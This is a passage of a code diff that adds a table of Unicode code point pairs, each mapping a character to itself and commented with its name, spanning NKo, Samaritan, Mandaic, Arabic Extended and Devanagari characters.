+ ["\u07CA", "\u07CA"], /* NKO LETTER A */
+ ["\u07CB", "\u07CB"], /* NKO LETTER EE */
+ ["\u07CC", "\u07CC"], /* NKO LETTER I */
+ ["\u07CD", "\u07CD"], /* NKO LETTER E */
+ ["\u07CE", "\u07CE"], /* NKO LETTER U */
+ ["\u07CF", "\u07CF"], /* NKO LETTER OO */
+ ["\u07D0", "\u07D0"], /* NKO LETTER O */
+ ["\u07D1", "\u07D1"], /* NKO LETTER DAGBASINNA */
+ ["\u07D2", "\u07D2"], /* NKO LETTER N */
+ ["\u07D3", "\u07D3"], /* NKO LETTER BA */
+ ["\u07D4", "\u07D4"], /* NKO LETTER PA */
+ ["\u07D5", "\u07D5"], /* NKO LETTER TA */
+ ["\u07D6", "\u07D6"], /* NKO LETTER JA */
+ ["\u07D7", "\u07D7"], /* NKO LETTER CHA */
+ ["\u07D8", "\u07D8"], /* NKO LETTER DA */
+ ["\u07D9", "\u07D9"], /* NKO LETTER RA */
+ ["\u07DA", "\u07DA"], /* NKO LETTER RRA */
+ ["\u07DB", "\u07DB"], /* NKO LETTER SA */
+ ["\u07DC", "\u07DC"], /* NKO LETTER GBA */
+ ["\u07DD", "\u07DD"], /* NKO LETTER FA */
+ ["\u07DE", "\u07DE"], /* NKO LETTER KA */
+ ["\u07DF", "\u07DF"], /* NKO LETTER LA */
+ ["\u07E0", "\u07E0"], /* NKO LETTER NA WOLOSO */
+ ["\u07E1", "\u07E1"], /* NKO LETTER MA */
+ ["\u07E2", "\u07E2"], /* NKO LETTER NYA */
+ ["\u07E3", "\u07E3"], /* NKO LETTER NA */
+ ["\u07E4", "\u07E4"], /* NKO LETTER HA */
+ ["\u07E5", "\u07E5"], /* NKO LETTER WA */
+ ["\u07E6", "\u07E6"], /* NKO LETTER YA */
+ ["\u07E7", "\u07E7"], /* NKO LETTER NYA WOLOSO */
+ ["\u07E8", "\u07E8"], /* NKO LETTER JONA JA */
+ ["\u07E9", "\u07E9"], /* NKO LETTER JONA CHA */
+ ["\u07EA", "\u07EA"], /* NKO LETTER JONA RA */
+ ["\u07EB", "\u07EB"], /* NKO COMBINING SHORT HIGH TONE */
+ ["\u07EC", "\u07EC"], /* NKO COMBINING SHORT LOW TONE */
+ ["\u07ED", "\u07ED"], /* NKO COMBINING SHORT RISING TONE */
+ ["\u07EE", "\u07EE"], /* NKO COMBINING LONG DESCENDING TONE */
+ ["\u07EF", "\u07EF"], /* NKO COMBINING LONG HIGH TONE */
+ ["\u07F0", "\u07F0"], /* NKO COMBINING LONG LOW TONE */
+ ["\u07F1", "\u07F1"], /* NKO COMBINING LONG RISING TONE */
+ ["\u07F2", "\u07F2"], /* NKO COMBINING NASALIZATION MARK */
+ ["\u07F3", "\u07F3"], /* NKO COMBINING DOUBLE DOT ABOVE */
+ ["\u07F4", "\u07F4"], /* NKO HIGH TONE APOSTROPHE */
+ ["\u07F5", "\u07F5"], /* NKO LOW TONE APOSTROPHE */
+ ["\u07F6", "\u07F6"], /* NKO SYMBOL OO DENNEN */
+ ["\u07F7", "\u07F7"], /* NKO SYMBOL GBAKURUNEN */
+ ["\u07F8", "\u07F8"], /* NKO COMMA */
+ ["\u07F9", "\u07F9"], /* NKO EXCLAMATION MARK */
+ ["\u07FA", "\u07FA"], /* NKO LAJANYALAN */
+ ["\u07FB", "\u07FB"],
+ ["\u07FC", "\u07FC"],
+ ["\u07FD", "\u07FD"], /* NKO DANTAYALAN */
+ ["\u07FE", "\u07FE"], /* NKO DOROME SIGN */
+ ["\u07FF", "\u07FF"], /* NKO TAMAN SIGN */
+ ["\u0800", "\u0800"], /* SAMARITAN LETTER ALAF */
+ ["\u0801", "\u0801"], /* SAMARITAN LETTER BIT */
+ ["\u0802", "\u0802"], /* SAMARITAN LETTER GAMAN */
+ ["\u0803", "\u0803"], /* SAMARITAN LETTER DALAT */
+ ["\u0804", "\u0804"], /* SAMARITAN LETTER IY */
+ ["\u0805", "\u0805"], /* SAMARITAN LETTER BAA */
+ ["\u0806", "\u0806"], /* SAMARITAN LETTER ZEN */
+ ["\u0807", "\u0807"], /* SAMARITAN LETTER IT */
+ ["\u0808", "\u0808"], /* SAMARITAN LETTER TIT */
+ ["\u0809", "\u0809"], /* SAMARITAN LETTER YUT */
+ ["\u080A", "\u080A"], /* SAMARITAN LETTER KAAF */
+ ["\u080B", "\u080B"], /* SAMARITAN LETTER LABAT */
+ ["\u080C", "\u080C"], /* SAMARITAN LETTER MIM */
+ ["\u080D", "\u080D"], /* SAMARITAN LETTER NUN */
+ ["\u080E", "\u080E"], /* SAMARITAN LETTER SINGAAT */
+ ["\u080F", "\u080F"], /* SAMARITAN LETTER IN */
+ ["\u0810", "\u0810"], /* SAMARITAN LETTER FI */
+ ["\u0811", "\u0811"], /* SAMARITAN LETTER TSAADIY */
+ ["\u0812", "\u0812"], /* SAMARITAN LETTER QUF */
+ ["\u0813", "\u0813"], /* SAMARITAN LETTER RISH */
+ ["\u0814", "\u0814"], /* SAMARITAN LETTER SHAN */
+ ["\u0815", "\u0815"], /* SAMARITAN LETTER TAAF */
+ ["\u0816", "\u0816"], /* SAMARITAN MARK IN */
+ ["\u0817", "\u0817"], /* SAMARITAN MARK IN-ALAF */
+ ["\u0818", "\u0818"], /* SAMARITAN MARK OCCLUSION */
+ ["\u0819", "\u0819"], /* SAMARITAN MARK DAGESH */
+ ["\u081A", "\u081A"], /* SAMARITAN MODIFIER LETTER EPENTHETIC YUT */
+ ["\u081B", "\u081B"], /* SAMARITAN MARK EPENTHETIC YUT */
+ ["\u081C", "\u081C"], /* SAMARITAN VOWEL SIGN LONG E */
+ ["\u081D", "\u081D"], /* SAMARITAN VOWEL SIGN E */
+ ["\u081E", "\u081E"], /* SAMARITAN VOWEL SIGN OVERLONG AA */
+ ["\u081F", "\u081F"], /* SAMARITAN VOWEL SIGN LONG AA */
+ ["\u0820", "\u0820"], /* SAMARITAN VOWEL SIGN AA */
+ ["\u0821", "\u0821"], /* SAMARITAN VOWEL SIGN OVERLONG A */
+ ["\u0822", "\u0822"], /* SAMARITAN VOWEL SIGN LONG A */
+ ["\u0823", "\u0823"], /* SAMARITAN VOWEL SIGN A */
+ ["\u0824", "\u0824"], /* SAMARITAN MODIFIER LETTER SHORT A */
+ ["\u0825", "\u0825"], /* SAMARITAN VOWEL SIGN SHORT A */
+ ["\u0826", "\u0826"], /* SAMARITAN VOWEL SIGN LONG U */
+ ["\u0827", "\u0827"], /* SAMARITAN VOWEL SIGN U */
+ ["\u0828", "\u0828"], /* SAMARITAN MODIFIER LETTER I */
+ ["\u0829", "\u0829"], /* SAMARITAN VOWEL SIGN LONG I */
+ ["\u082A", "\u082A"], /* SAMARITAN VOWEL SIGN I */
+ ["\u082B", "\u082B"], /* SAMARITAN VOWEL SIGN O */
+ ["\u082C", "\u082C"], /* SAMARITAN VOWEL SIGN SUKUN */
+ ["\u082D", "\u082D"], /* SAMARITAN MARK NEQUDAA */
+ ["\u082E", "\u082E"],
+ ["\u082F", "\u082F"],
+ ["\u0830", "\u0830"], /* SAMARITAN PUNCTUATION NEQUDAA */
+ ["\u0831", "\u0831"], /* SAMARITAN PUNCTUATION AFSAAQ */
+ ["\u0832", "\u0832"], /* SAMARITAN PUNCTUATION ANGED */
+ ["\u0833", "\u0833"], /* SAMARITAN PUNCTUATION BAU */
+ ["\u0834", "\u0834"], /* SAMARITAN PUNCTUATION ATMAAU */
+ ["\u0835", "\u0835"], /* SAMARITAN PUNCTUATION SHIYYAALAA */
+ ["\u0836", "\u0836"], /* SAMARITAN ABBREVIATION MARK */
+ ["\u0837", "\u0837"], /* SAMARITAN PUNCTUATION MELODIC QITSA */
+ ["\u0838", "\u0838"], /* SAMARITAN PUNCTUATION ZIQAA */
+ ["\u0839", "\u0839"], /* SAMARITAN PUNCTUATION QITSA */
+ ["\u083A", "\u083A"], /* SAMARITAN PUNCTUATION ZAEF */
+ ["\u083B", "\u083B"], /* SAMARITAN PUNCTUATION TURU */
+ ["\u083C", "\u083C"], /* SAMARITAN PUNCTUATION ARKAANU */
+ ["\u083D", "\u083D"], /* SAMARITAN PUNCTUATION SOF MASHFAAT */
+ ["\u083E", "\u083E"], /* SAMARITAN PUNCTUATION ANNAAU */
+ ["\u083F", "\u083F"],
+ ["\u0840", "\u0840"], /* MANDAIC LETTER HALQA */
+ ["\u0841", "\u0841"], /* MANDAIC LETTER AB */
+ ["\u0842", "\u0842"], /* MANDAIC LETTER AG */
+ ["\u0843", "\u0843"], /* MANDAIC LETTER AD */
+ ["\u0844", "\u0844"], /* MANDAIC LETTER AH */
+ ["\u0845", "\u0845"], /* MANDAIC LETTER USHENNA */
+ ["\u0846", "\u0846"], /* MANDAIC LETTER AZ */
+ ["\u0847", "\u0847"], /* MANDAIC LETTER IT */
+ ["\u0848", "\u0848"], /* MANDAIC LETTER ATT */
+ ["\u0849", "\u0849"], /* MANDAIC LETTER AKSA */
+ ["\u084A", "\u084A"], /* MANDAIC LETTER AK */
+ ["\u084B", "\u084B"], /* MANDAIC LETTER AL */
+ ["\u084C", "\u084C"], /* MANDAIC LETTER AM */
+ ["\u084D", "\u084D"], /* MANDAIC LETTER AN */
+ ["\u084E", "\u084E"], /* MANDAIC LETTER AS */
+ ["\u084F", "\u084F"], /* MANDAIC LETTER IN */
+ ["\u0850", "\u0850"], /* MANDAIC LETTER AP */
+ ["\u0851", "\u0851"], /* MANDAIC LETTER ASZ */
+ ["\u0852", "\u0852"], /* MANDAIC LETTER AQ */
+ ["\u0853", "\u0853"], /* MANDAIC LETTER AR */
+ ["\u0854", "\u0854"], /* MANDAIC LETTER ASH */
+ ["\u0855", "\u0855"], /* MANDAIC LETTER AT */
+ ["\u0856", "\u0856"], /* MANDAIC LETTER DUSHENNA */
+ ["\u0857", "\u0857"], /* MANDAIC LETTER KAD */
+ ["\u0858", "\u0858"], /* MANDAIC LETTER AIN */
+ ["\u0859", "\u0859"], /* MANDAIC AFFRICATION MARK */
+ ["\u085A", "\u085A"], /* MANDAIC VOCALIZATION MARK */
+ ["\u085B", "\u085B"], /* MANDAIC GEMINATION MARK */
+ ["\u085C", "\u085C"],
+ ["\u085D", "\u085D"],
+ ["\u085E", "\u085E"], /* MANDAIC PUNCTUATION */
+ ["\u085F", "\u085F"],
+ ["\u0860", "\u0860"], /* SYRIAC LETTER MALAYALAM NGA */
+ ["\u0861", "\u0861"], /* SYRIAC LETTER MALAYALAM JA */
+ ["\u0862", "\u0862"], /* SYRIAC LETTER MALAYALAM NYA */
+ ["\u0863", "\u0863"], /* SYRIAC LETTER MALAYALAM TTA */
+ ["\u0864", "\u0864"], /* SYRIAC LETTER MALAYALAM NNA */
+ ["\u0865", "\u0865"], /* SYRIAC LETTER MALAYALAM NNNA */
+ ["\u0866", "\u0866"], /* SYRIAC LETTER MALAYALAM BHA */
+ ["\u0867", "\u0867"], /* SYRIAC LETTER MALAYALAM RA */
+ ["\u0868", "\u0868"], /* SYRIAC LETTER MALAYALAM LLA */
+ ["\u0869", "\u0869"], /* SYRIAC LETTER MALAYALAM LLLA */
+ ["\u086A", "\u086A"], /* SYRIAC LETTER MALAYALAM SSA */
+ ["\u086B", "\u086B"],
+ ["\u086C", "\u086C"],
+ ["\u086D", "\u086D"],
+ ["\u086E", "\u086E"],
+ ["\u086F", "\u086F"],
+ ["\u0870", "\u0870"], /* ARABIC LETTER ALEF WITH ATTACHED FATHA */
+ ["\u0871", "\u0871"], /* ARABIC LETTER ALEF WITH ATTACHED TOP RIGHT FATHA */
+ ["\u0872", "\u0872"], /* ARABIC LETTER ALEF WITH RIGHT MIDDLE STROKE */
+ ["\u0873", "\u0873"], /* ARABIC LETTER ALEF WITH LEFT MIDDLE STROKE */
+ ["\u0874", "\u0874"], /* ARABIC LETTER ALEF WITH ATTACHED KASRA */
+ ["\u0875", "\u0875"], /* ARABIC LETTER ALEF WITH ATTACHED BOTTOM RIGHT KASRA */
+ ["\u0876", "\u0876"], /* ARABIC LETTER ALEF WITH ATTACHED ROUND DOT ABOVE */
+ ["\u0877", "\u0877"], /* ARABIC LETTER ALEF WITH ATTACHED RIGHT ROUND DOT */
+ ["\u0878", "\u0878"], /* ARABIC LETTER ALEF WITH ATTACHED LEFT ROUND DOT */
+ ["\u0879", "\u0879"], /* ARABIC LETTER ALEF WITH ATTACHED ROUND DOT BELOW */
+ ["\u087A", "\u087A"], /* ARABIC LETTER ALEF WITH DOT ABOVE */
+ ["\u087B", "\u087B"], /* ARABIC LETTER ALEF WITH ATTACHED TOP RIGHT FATHA AND DOT ABOVE */
+ ["\u087C", "\u087C"], /* ARABIC LETTER ALEF WITH RIGHT MIDDLE STROKE AND DOT ABOVE */
+ ["\u087D", "\u087D"], /* ARABIC LETTER ALEF WITH ATTACHED BOTTOM RIGHT KASRA AND DOT ABOVE */
+ ["\u087E", "\u087E"], /* ARABIC LETTER ALEF WITH ATTACHED TOP RIGHT FATHA AND LEFT RING */
+ ["\u087F", "\u087F"], /* ARABIC LETTER ALEF WITH RIGHT MIDDLE STROKE AND LEFT RING */
+ ["\u0880", "\u0880"], /* ARABIC LETTER ALEF WITH ATTACHED BOTTOM RIGHT KASRA AND LEFT RING */
+ ["\u0881", "\u0881"], /* ARABIC LETTER ALEF WITH ATTACHED RIGHT HAMZA */
+ ["\u0882", "\u0882"], /* ARABIC LETTER ALEF WITH ATTACHED LEFT HAMZA */
+ ["\u0883", "\u0883"], /* ARABIC TATWEEL WITH OVERSTRUCK HAMZA */
+ ["\u0884", "\u0884"], /* ARABIC TATWEEL WITH OVERSTRUCK WAW */
+ ["\u0885", "\u0885"], /* ARABIC TATWEEL WITH TWO DOTS BELOW */
+ ["\u0886", "\u0886"], /* ARABIC LETTER THIN YEH */
+ ["\u0887", "\u0887"], /* ARABIC BASELINE ROUND DOT */
+ ["\u0888", "\u0888"], /* ARABIC RAISED ROUND DOT */
+ ["\u0889", "\u0889"], /* ARABIC LETTER NOON WITH INVERTED SMALL V */
+ ["\u088A", "\u088A"], /* ARABIC LETTER HAH WITH INVERTED SMALL V BELOW */
+ ["\u088B", "\u088B"], /* ARABIC LETTER TAH WITH DOT BELOW */
+ ["\u088C", "\u088C"], /* ARABIC LETTER TAH WITH THREE DOTS BELOW */
+ ["\u088D", "\u088D"], /* ARABIC LETTER KEHEH WITH TWO DOTS VERTICALLY BELOW */
+ ["\u088E", "\u088E"], /* ARABIC VERTICAL TAIL */
+ ["\u088F", "\u088F"],
+ ["\u0890", "\u0890"], /* ARABIC POUND MARK ABOVE */
+ ["\u0891", "\u0891"], /* ARABIC PIASTRE MARK ABOVE */
+ ["\u0892", "\u0892"],
+ ["\u0893", "\u0893"],
+ ["\u0894", "\u0894"],
+ ["\u0895", "\u0895"],
+ ["\u0896", "\u0896"],
+ ["\u0897", "\u0897"],
+ ["\u0898", "\u0898"], /* ARABIC SMALL HIGH WORD AL-JUZ */
+ ["\u0899", "\u0899"], /* ARABIC SMALL LOW WORD ISHMAAM */
+ ["\u089A", "\u089A"], /* ARABIC SMALL LOW WORD IMAALA */
+ ["\u089B", "\u089B"], /* ARABIC SMALL LOW WORD TASHEEL */
+ ["\u089C", "\u089C"], /* ARABIC MADDA WAAJIB */
+ ["\u089D", "\u089D"], /* ARABIC SUPERSCRIPT ALEF MOKHASSAS */
+ ["\u089E", "\u089E"], /* ARABIC DOUBLED MADDA */
+ ["\u089F", "\u089F"], /* ARABIC HALF MADDA OVER MADDA */
+ ["\u08A0", "\u08A0"], /* ARABIC LETTER BEH WITH SMALL V BELOW */
+ ["\u08A1", "\u08A1"], /* ARABIC LETTER BEH WITH HAMZA ABOVE */
+ ["\u08A2", "\u08A2"], /* ARABIC LETTER JEEM WITH TWO DOTS ABOVE */
+ ["\u08A3", "\u08A3"], /* ARABIC LETTER TAH WITH TWO DOTS ABOVE */
+ ["\u08A4", "\u08A4"], /* ARABIC LETTER FEH WITH DOT BELOW AND THREE DOTS ABOVE */
+ ["\u08A5", "\u08A5"], /* ARABIC LETTER QAF WITH DOT BELOW */
+ ["\u08A6", "\u08A6"], /* ARABIC LETTER LAM WITH DOUBLE BAR */
+ ["\u08A7", "\u08A7"], /* ARABIC LETTER MEEM WITH THREE DOTS ABOVE */
+ ["\u08A8", "\u08A8"], /* ARABIC LETTER YEH WITH TWO DOTS BELOW AND HAMZA ABOVE */
+ ["\u08A9", "\u08A9"], /* ARABIC LETTER YEH WITH TWO DOTS BELOW AND DOT ABOVE */
+ ["\u08AA", "\u08AA"], /* ARABIC LETTER REH WITH LOOP */
+ ["\u08AB", "\u08AB"], /* ARABIC LETTER WAW WITH DOT WITHIN */
+ ["\u08AC", "\u08AC"], /* ARABIC LETTER ROHINGYA YEH */
+ ["\u08AD", "\u08AD"], /* ARABIC LETTER LOW ALEF */
+ ["\u08AE", "\u08AE"], /* ARABIC LETTER DAL WITH THREE DOTS BELOW */
+ ["\u08AF", "\u08AF"], /* ARABIC LETTER SAD WITH THREE DOTS BELOW */
+ ["\u08B0", "\u08B0"], /* ARABIC LETTER GAF WITH INVERTED STROKE */
+ ["\u08B1", "\u08B1"], /* ARABIC LETTER STRAIGHT WAW */
+ ["\u08B2", "\u08B2"], /* ARABIC LETTER ZAIN WITH INVERTED V ABOVE */
+ ["\u08B3", "\u08B3"], /* ARABIC LETTER AIN WITH THREE DOTS BELOW */
+ ["\u08B4", "\u08B4"], /* ARABIC LETTER KAF WITH DOT BELOW */
+ ["\u08B5", "\u08B5"], /* ARABIC LETTER QAF WITH DOT BELOW AND NO DOTS ABOVE */
+ ["\u08B6", "\u08B6"], /* ARABIC LETTER BEH WITH SMALL MEEM ABOVE */
+ ["\u08B7", "\u08B7"], /* ARABIC LETTER PEH WITH SMALL MEEM ABOVE */
+ ["\u08B8", "\u08B8"], /* ARABIC LETTER TEH WITH SMALL TEH ABOVE */
+ ["\u08B9", "\u08B9"], /* ARABIC LETTER REH WITH SMALL NOON ABOVE */
+ ["\u08BA", "\u08BA"], /* ARABIC LETTER YEH WITH TWO DOTS BELOW AND SMALL NOON ABOVE */
+ ["\u08BB", "\u08BB"], /* ARABIC LETTER AFRICAN FEH */
+ ["\u08BC", "\u08BC"], /* ARABIC LETTER AFRICAN QAF */
+ ["\u08BD", "\u08BD"], /* ARABIC LETTER AFRICAN NOON */
+ ["\u08BE", "\u08BE"], /* ARABIC LETTER PEH WITH SMALL V */
+ ["\u08BF", "\u08BF"], /* ARABIC LETTER TEH WITH SMALL V */
+ ["\u08C0", "\u08C0"], /* ARABIC LETTER TTEH WITH SMALL V */
+ ["\u08C1", "\u08C1"], /* ARABIC LETTER TCHEH WITH SMALL V */
+ ["\u08C2", "\u08C2"], /* ARABIC LETTER KEHEH WITH SMALL V */
+ ["\u08C3", "\u08C3"], /* ARABIC LETTER GHAIN WITH THREE DOTS ABOVE */
+ ["\u08C4", "\u08C4"], /* ARABIC LETTER AFRICAN QAF WITH THREE DOTS ABOVE */
+ ["\u08C5", "\u08C5"], /* ARABIC LETTER JEEM WITH THREE DOTS ABOVE */
+ ["\u08C6", "\u08C6"], /* ARABIC LETTER JEEM WITH THREE DOTS BELOW */
+ ["\u08C7", "\u08C7"], /* ARABIC LETTER LAM WITH SMALL ARABIC LETTER TAH ABOVE */
+ ["\u08C8", "\u08C8"], /* ARABIC LETTER GRAF */
+ ["\u08C9", "\u08C9"], /* ARABIC SMALL FARSI YEH */
+ ["\u08CA", "\u08CA"], /* ARABIC SMALL HIGH FARSI YEH */
+ ["\u08CB", "\u08CB"], /* ARABIC SMALL HIGH YEH BARREE WITH TWO DOTS BELOW */
+ ["\u08CC", "\u08CC"], /* ARABIC SMALL HIGH WORD SAH */
+ ["\u08CD", "\u08CD"], /* ARABIC SMALL HIGH ZAH */
+ ["\u08CE", "\u08CE"], /* ARABIC LARGE ROUND DOT ABOVE */
+ ["\u08CF", "\u08CF"], /* ARABIC LARGE ROUND DOT BELOW */
+ ["\u08D0", "\u08D0"], /* ARABIC SUKUN BELOW */
+ ["\u08D1", "\u08D1"], /* ARABIC LARGE CIRCLE BELOW */
+ ["\u08D2", "\u08D2"], /* ARABIC LARGE ROUND DOT INSIDE CIRCLE BELOW */
+ ["\u08D3", "\u08D3"], /* ARABIC SMALL LOW WAW */
+ ["\u08D4", "\u08D4"], /* ARABIC SMALL HIGH WORD AR-RUB */
+ ["\u08D5", "\u08D5"], /* ARABIC SMALL HIGH SAD */
+ ["\u08D6", "\u08D6"], /* ARABIC SMALL HIGH AIN */
+ ["\u08D7", "\u08D7"], /* ARABIC SMALL HIGH QAF */
+ ["\u08D8", "\u08D8"], /* ARABIC SMALL HIGH NOON WITH KASRA */
+ ["\u08D9", "\u08D9"], /* ARABIC SMALL LOW NOON WITH KASRA */
+ ["\u08DA", "\u08DA"], /* ARABIC SMALL HIGH WORD ATH-THALATHA */
+ ["\u08DB", "\u08DB"], /* ARABIC SMALL HIGH WORD AS-SAJDA */
+ ["\u08DC", "\u08DC"], /* ARABIC SMALL HIGH WORD AN-NISF */
+ ["\u08DD", "\u08DD"], /* ARABIC SMALL HIGH WORD SAKTA */
+ ["\u08DE", "\u08DE"], /* ARABIC SMALL HIGH WORD QIF */
+ ["\u08DF", "\u08DF"], /* ARABIC SMALL HIGH WORD WAQFA */
+ ["\u08E0", "\u08E0"], /* ARABIC SMALL HIGH FOOTNOTE MARKER */
+ ["\u08E1", "\u08E1"], /* ARABIC SMALL HIGH SIGN SAFHA */
+ ["\u08E2", "\u08E2"], /* ARABIC DISPUTED END OF AYAH */
+ ["\u08E3", "\u08E3"], /* ARABIC TURNED DAMMA BELOW */
+ ["\u08E4", "\u08E4"], /* ARABIC CURLY FATHA */
+ ["\u08E5", "\u08E5"], /* ARABIC CURLY DAMMA */
+ ["\u08E6", "\u08E6"], /* ARABIC CURLY KASRA */
+ ["\u08E7", "\u08E7"], /* ARABIC CURLY FATHATAN */
+ ["\u08E8", "\u08E8"], /* ARABIC CURLY DAMMATAN */
+ ["\u08E9", "\u08E9"], /* ARABIC CURLY KASRATAN */
+ ["\u08EA", "\u08EA"], /* ARABIC TONE ONE DOT ABOVE */
+ ["\u08EB", "\u08EB"], /* ARABIC TONE TWO DOTS ABOVE */
+ ["\u08EC", "\u08EC"], /* ARABIC TONE LOOP ABOVE */
+ ["\u08ED", "\u08ED"], /* ARABIC TONE ONE DOT BELOW */
+ ["\u08EE", "\u08EE"], /* ARABIC TONE TWO DOTS BELOW */
+ ["\u08EF", "\u08EF"], /* ARABIC TONE LOOP BELOW */
+ ["\u08F0", "\u08F0"], /* ARABIC OPEN FATHATAN */
+ ["\u08F1", "\u08F1"], /* ARABIC OPEN DAMMATAN */
+ ["\u08F2", "\u08F2"], /* ARABIC OPEN KASRATAN */
+ ["\u08F3", "\u08F3"], /* ARABIC SMALL HIGH WAW */
+ ["\u08F4", "\u08F4"], /* ARABIC FATHA WITH RING */
+ ["\u08F5", "\u08F5"], /* ARABIC FATHA WITH DOT ABOVE */
+ ["\u08F6", "\u08F6"], /* ARABIC KASRA WITH DOT BELOW */
+ ["\u08F7", "\u08F7"], /* ARABIC LEFT ARROWHEAD ABOVE */
+ ["\u08F8", "\u08F8"], /* ARABIC RIGHT ARROWHEAD ABOVE */
+ ["\u08F9", "\u08F9"], /* ARABIC LEFT ARROWHEAD BELOW */
+ ["\u08FA", "\u08FA"], /* ARABIC RIGHT ARROWHEAD BELOW */
+ ["\u08FB", "\u08FB"], /* ARABIC DOUBLE RIGHT ARROWHEAD ABOVE */
+ ["\u08FC", "\u08FC"], /* ARABIC DOUBLE RIGHT ARROWHEAD ABOVE WITH DOT */
+ ["\u08FD", "\u08FD"], /* ARABIC RIGHT ARROWHEAD ABOVE WITH DOT */
+ ["\u08FE", "\u08FE"], /* ARABIC DAMMA WITH DOT */
+ ["\u08FF", "\u08FF"], /* ARABIC MARK SIDEWAYS NOON GHUNNA */
+ ["\u0900", "\u0900"], /* DEVANAGARI SIGN INVERTED CANDRABINDU */
+ ["\u0901", "\u0901"], /* DEVANAGARI SIGN CANDRABINDU */
+ ["\u0902", "\u0902"], /* DEVANAGARI SIGN ANUSVARA */
+ ["\u0903", "\u0903"], /* DEVANAGARI SIGN VISARGA */
+ ["\u0904", "\u0904"], /* DEVANAGARI LETTER SHORT A */
+ ["\u0905", "\u0905"], /* DEVANAGARI LETTER A */
+ ["\u0906", "\u0906"], /* DEVANAGARI LETTER AA */
+ ["\u0907", "\u0907"], /* DEVANAGARI LETTER I */
+ ["\u0908", "\u0908"], /* DEVANAGARI LETTER II */
+ ["\u0909", "\u0909"], /* DEVANAGARI LETTER U */
+ ["\u090A", "\u090A"], /* DEVANAGARI LETTER UU */
+ ["\u090B", "\u090B"], /* DEVANAGARI LETTER VOCALIC R */
+ ["\u090C", "\u090C"], /* DEVANAGARI LETTER VOCALIC L */
+ ["\u090D", "\u090D"], /* DEVANAGARI LETTER CANDRA E */
+ ["\u090E", "\u090E"], /* DEVANAGARI LETTER SHORT E */
+ ["\u090F", "\u090F"], /* DEVANAGARI LETTER E */
+ ["\u0910", "\u0910"], /* DEVANAGARI LETTER AI */
+ ["\u0911", "\u0911"], /* DEVANAGARI LETTER CANDRA O */
+ ["\u0912", "\u0912"], /* DEVANAGARI LETTER SHORT O */
+ ["\u0913", "\u0913"], /* DEVANAGARI LETTER O */
+ ["\u0914", "\u0914"], /* DEVANAGARI LETTER AU */
+ ["\u0915", "\u0915"], /* DEVANAGARI LETTER KA */
+ ["\u0916", "\u0916"], /* DEVANAGARI LETTER KHA */
+ ["\u0917", "\u0917"], /* DEVANAGARI LETTER GA */
+ ["\u0918", "\u0918"], /* DEVANAGARI LETTER GHA */
+ ["\u0919", "\u0919"], /* DEVANAGARI LETTER NGA */
+ ["\u091A", "\u091A"], /* DEVANAGARI LETTER CA */
+ ["\u091B", "\u091B"], /* DEVANAGARI LETTER CHA */
+ ["\u091C", "\u091C"], /* DEVANAGARI LETTER JA */
+ ["\u091D", "\u091D"], /* DEVANAGARI LETTER JHA */
+ ["\u091E", "\u091E"], /* DEVANAGARI LETTER NYA */
+ ["\u091F", "\u091F"], /* DEVANAGARI LETTER TTA */
+ ["\u0920", "\u0920"], /* DEVANAGARI LETTER TTHA */
+ ["\u0921", "\u0921"], /* DEVANAGARI LETTER DDA */
+ ["\u0922", "\u0922"], /* DEVANAGARI LETTER DDHA */
+ ["\u0923", "\u0923"], /* DEVANAGARI LETTER NNA */
+ ["\u0924", "\u0924"], /* DEVANAGARI LETTER TA */
+ ["\u0925", "\u0925"], /* DEVANAGARI LETTER THA */
+ ["\u0926", "\u0926"], /* DEVANAGARI LETTER DA */
+ ["\u0927", "\u0927"], /* DEVANAGARI LETTER DHA */
+ ["\u0928", "\u0928"], /* DEVANAGARI LETTER NA */
+ ["\u0929", "\u0929"], /* DEVANAGARI LETTER NNNA */
+ ["\u092A", "\u092A"], /* DEVANAGARI LETTER PA */
+ ["\u092B", "\u092B"], /* DEVANAGARI LETTER PHA */
+ ["\u092C", "\u092C"], /* DEVANAGARI LETTER BA */
+ ["\u092D", "\u092D"], /* DEVANAGARI LETTER BHA */
+ ["\u092E", "\u092E"], /* DEVANAGARI LETTER MA */
+ ["\u092F", "\u092F"], /* DEVANAGARI LETTER YA */
+ ["\u0930", "\u0930"], /* DEVANAGARI LETTER RA */
+ ["\u0931", "\u0931"], /* DEVANAGARI LETTER RRA */
+ ["\u0932", "\u0932"], /* DEVANAGARI LETTER LA */
+ ["\u0933", "\u0933"], /* DEVANAGARI LETTER LLA */
+ ["\u0934", "\u0934"], /* DEVANAGARI LETTER LLLA */
+ ["\u0935", "\u0935"], /* DEVANAGARI LETTER VA */
+ ["\u0936", "\u0936"], /* DEVANAGARI LETTER SHA */
+ ["\u0937", "\u0937"], /* DEVANAGARI LETTER SSA */
+ ["\u0938", "\u0938"], /* DEVANAGARI LETTER SA */
+ ["\u0939", "\u0939"], /* DEVANAGARI LETTER HA */
+ ["\u093A", "\u093A"], /* DEVANAGARI VOWEL SIGN OE */
+ ["\u093B", "\u093B"], /* DEVANAGARI VOWEL SIGN OOE */
+ ["\u093C", "\u093C"], /* DEVANAGARI SIGN NUKTA */
+ ["\u093D", "\u093D"], /* DEVANAGARI SIGN AVAGRAHA */
+ ["\u093E", "\u093E"], /* DEVANAGARI VOWEL SIGN AA */
+ ["\u093F", "\u093F"], /* DEVANAGARI VOWEL SIGN I */
+ ["\u0940", "\u0940"], /* DEVANAGARI VOWEL SIGN II */
+ ["\u0941", "\u0941"], /* DEVANAGARI VOWEL SIGN U */
+ ["\u0942", "\u0942"], /* DEVANAGARI VOWEL SIGN UU */
+ ["\u0943", "\u0943"], /* DEVANAGARI VOWEL SIGN VOCALIC R */
+ ["\u0944", "\u0944"], /* DEVANAGARI VOWEL SIGN VOCALIC RR */
+ ["\u0945", "\u0945"], /* DEVANAGARI VOWEL SIGN CANDRA E */
+ ["\u0946", "\u0946"], /* DEVANAGARI VOWEL SIGN SHORT E */
+ ["\u0947", "\u0947"], /* DEVANAGARI VOWEL SIGN E */
+ ["\u0948", "\u0948"], /* DEVANAGARI VOWEL SIGN AI */
+ ["\u0949", "\u0949"], /* DEVANAGARI VOWEL SIGN CANDRA O */
+ ["\u094A", "\u094A"], /* DEVANAGARI VOWEL SIGN SHORT O */
+ ["\u094B", "\u094B"], /* DEVANAGARI VOWEL SIGN O */
+ ["\u094C", "\u094C"], /* DEVANAGARI VOWEL SIGN AU */
+ ["\u094D", "\u094D"], /* DEVANAGARI SIGN VIRAMA */
+ ["\u094E", "\u094E"], /* DEVANAGARI VOWEL SIGN PRISHTHAMATRA E */
+ ["\u094F", "\u094F"], /* DEVANAGARI VOWEL SIGN AW */
+ ["\u0950", "\u0950"], /* DEVANAGARI OM */
